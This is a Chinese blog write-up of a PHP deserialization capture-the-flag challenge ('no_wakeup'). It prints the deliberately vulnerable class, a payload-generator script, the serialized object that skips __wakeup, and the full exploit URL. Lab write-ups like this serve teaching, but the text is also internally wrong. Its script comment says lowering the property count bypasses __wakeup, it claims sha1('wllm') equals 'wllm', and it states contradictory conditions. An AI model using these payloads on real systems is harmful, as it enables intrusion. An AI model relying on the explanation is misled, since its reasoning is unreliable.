NSSCTF | [SWPUCTF 2021 新生赛]no_wakeup

打开题目后,点击三个?,发现是一个php序列化脚本

 <?php

header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");

class HaHaHa{


        public $admin;
        public $passwd;

        public function __construct(){
            $this->admin ="user";
            $this->passwd = "123456";
        }

        public function __wakeup(){
            $this->passwd = sha1($this->passwd);
        }

        public function __destruct(){
            if($this->admin === "admin" && $this->passwd === "wllm"){
                include("flag.php");
                echo $flag;
            }else{
                echo $this->passwd;
                echo "No wake up";
            }
        }
    }

$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);

?> 

这个PHP脚本包含一个反序列化漏洞,可以通过精心构造的序列化字符串来利用。下面是对脚本的分析和如何绕过限制的解释:

  1. class HaHaHa:定义了一个名为HaHaHa的类,该类有三个公共属性:adminpasswd,以及三个魔术方法:__construct__wakeup__destruct

  2. __construct:在对象创建时自动调用,设置admin"user"passwd"123456"

  3. __wakeup:在对象反序列化时自动调用,将passwd通过sha1函数加密。

  4. __destruct:在对象销毁时自动调用,检查admin是否为"admin"passwd是否为"wllm"。如果是,则包含flag.php文件并输出$flag;否则,输出$passwd"No wake up"

  5. $Letmeseesee = $_GET['p'];:从GET参数p中获取值,并尝试对其进行反序列化。

为了绕过这个限制并获取flag,你需要构造一个序列化字符串,使得反序列化后的对象满足admin"admin"passwd"wllm"。由于__wakeup方法会改变passwd的值,我们需要利用PHP反序列化中的一个特性:如果序列化字符串中的属性数量与实际属性数量不匹配,__wakeup方法不会被调用。

这是解题所用到的php反序列化脚本:
 

<?php

class HaHaHa {
    public $admin = "admin";
    public $passwd = "wllm";
}

// 创建一个HaHaHa对象
$obj = new HaHaHa();

// 序列化对象,并减少属性数量以绕过__wakeup
$serialized = serialize($obj);
$serialized = str_replace(':2:{', ':1:{', $serialized);

// 输出序列化后的字符串
echo $serialized;

?>

在这个脚本中,我们首先创建了一个HaHaHa对象,并设置了adminpasswd的值。然后,我们序列化这个对象,并修改序列化字符串,将属性数量从2改为1,这样在反序列化时__wakeup方法就不会被调用。最后,我们输出修改后的序列化字符串,这个字符串可以用于攻击目标脚本。

将这个脚本直接放到在线网站上运行,即可得到生成的序列化字符串

在线运行PHP这是一个简单方便的PHP在线运行工具,支持在线编译、在线调试和在线结果的实时反馈。icon-default.png?t=N7T8https://www.bejson.com/runcode/php/

O:6:"HaHaHa":1:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

但生成的这个序列化字符串是不可以输出flag的,真正可以输出flag的序列化字符串是

O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

在原始的序列化字符串中,将属性数量从2减少到1,这是为了绕过__wakeup()方法,因为__wakeup()方法会尝试修改$passwd的值。但是,由于$passwd值已经是"wllm",这个值的sha1()哈希值与原始值相同,因此即使__wakeup()方法被调用,也不会影响最终的检查条件。

为了正确绕过__wakeup()方法并满足__destruct()方法中的检查条件,需要确保序列化字符串中声明的属性数量与实际属性数量一致,但故意声明一个错误的数量。因此,正确的序列化字符串应该是O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";},其中声明了3个属性,但实际上只有2个。这样,PHP在反序列化时会将其调整为2个属性,但__wakeup()方法会被绕过,$passwd的值不会被修改,从而满足__destruct()方法中的检查条件,输出$flag

http://node4.anna.nssctf.cn:28225/class.php?p=O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

访问即可得到flag。

本题完。

  • 11
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值